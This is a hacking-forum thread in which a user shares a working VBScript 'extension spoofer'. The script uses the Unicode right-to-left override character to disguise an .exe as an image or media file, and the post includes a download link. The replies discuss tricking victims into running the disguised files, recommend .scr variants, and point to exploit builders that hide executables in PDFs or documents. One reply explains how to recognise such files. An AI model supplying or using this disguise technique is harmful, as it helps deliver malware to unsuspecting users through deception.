+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Hacking Tools and Programs (https://hackforums.net/forumdisplay.php?fid=10)
+---- Thread: [Script] Free extension spoofer [Safe] Make a .exe looks like any file you want (/showthread.php?tid=5688142)
Pages: Pages
1
2
[Script] Free extension spoofer [Safe] Make a .exe looks like any file you want - Skil@h - Aug 6, 2017
Hello guys, this script is a simple RTLO extension spoofing (click here for infos)
It allows you to make your .exe file look like any file you want, it is a only a visual trick, you can't send it as a .jpg for example.
How to build it : open the notepad, paste the code, save as .vbs file.
Code
Call Spoof
Sub Spoof()
dim filePath,fileName,exten,FileLen,revExten,dest,NewFileName
set fs = CreateObject("Scripting.FileSystemObject")
filePath=inputbox("Enter The FilePath")
exten=inputbox("Enter the Extension to spoof" & vbCrlf & _
"Example : .jpg, .mp3 , .avi , etc..")
fileName=fs.GetFileName(filepath)
filePath=fs.GetParentFolderName(filepath)
FileLen=Len(fileName)-4
Dim spclChar
spclChar = ChrW(8238)
revExten=StrReverse(exten)
NewFileName=inputbox("Enter the new file name max 5 chars")
dest=NewFileName & spclChar & revExten & mid(fileName,FileLen+2)
fs.copyFile filePath & "\" & Filename,filePath & "\" & dest
msgbox "Extension Spoofed Successfully!!",vbInformation
end subFor the lazy ones, you can download the .vbs file directly here :
https://www.sendspace.com/file/zbrys1
No need for a virus scan, since it is a .vbs file, you just have to right click and hit "modify" to see the code.
I hope you all enjoy this funny tool :) ✌
* - Aradura - Aug 8, 2017
Nice, works pretty well. Changing the file extension to .src first works even better. If I set the name to img, I end up with imgrcs.jpg. However, if you then try to download that file in Chrome, it's a dirty snitch and says it might harm your computer and gives you the filename: img-gpj.scr. However, this has worked for me anyway, because people are dumb.
* - trader_j0es - Aug 8, 2017
Sounds good, I will play with it later
* - exploid2017 - Aug 8, 2017
Or u can try just silent exploit builder to make ur exe to PDF or doc
* - jay_slukky - Aug 11, 2017
what's your skype ID , let do business
* - parkjusub - Aug 14, 2017
(Aug 8, 2017 01:33 PM)exploid2017 Wrote: Or u can try just silent exploit builder to make ur exe to PDF or doc
hi you email ?
* - Pete_the_Paper_Boat - Aug 14, 2017
Can somebody explain to me why this works. I have "Show file extensions" on and it works..
What?
Sorry if I sound like an Idiot.
* - SIM-3364521 - Aug 15, 2017
(Aug 14, 2017 11:38 AM)Pete_the_Paper_Boat Wrote: Can somebody explain to me why this works. I have "Show file extensions" on and it works..
What?
Sorry if I sound like an Idiot.
You can use a special unicode character that reverses the filename.
This is actually a feature in most explorers like the windows one but also nautilus etc. will work as well. But checking the filename in console will show you the special character used as [] and the filename in normal direction. If you go to properties you will see however that its still an executable file.
Just be aware of files that look like this : exe.
egs:
SexyHexe.png
* - Toxic Hacker - Sep 28, 2017
I dont understand how to use it hmm..
* - ZaranTetoski - Sep 28, 2017
Very nice work!
Thanks for the sharing!
* - aviator22 - Sep 29, 2017
Great tool Skil@h thank you for share.
For the others who are looking to HIDE the exe behind a pdf file etc, you dont need a spoofer! You need an exploit. If you dont know what I am talking about, feel free to use the search button or ask :)
RE: [Script] Free extension spoofer [Safe] Make a .exe looks like any file you want - Bernadette vd Molen - Apr 8, 2022
Doesn't work anymore sadly
RE: [Script] Free extension spoofer [Safe] Make a .exe looks like any file you want - Tandloosi - Jul 21, 2022
This is really cool, thank you!!
RE: [Script] Free extension spoofer [Safe] Make a .exe looks like any file you want - rowenalucerodato - Jul 24, 2022
This is kinda old, but i'm sure the concept can still work
RE: [Script] Free extension spoofer [Safe] Make a .exe looks like any file you want - binarycoder - Jul 24, 2022
(Jul 24, 2022 05:30 AM)rowenalucerodato Wrote: This is kinda old, but i'm sure the concept can still work
it's an old method that has been discovered more than 10 years ago. and many antivirus block any file spoofed with this method.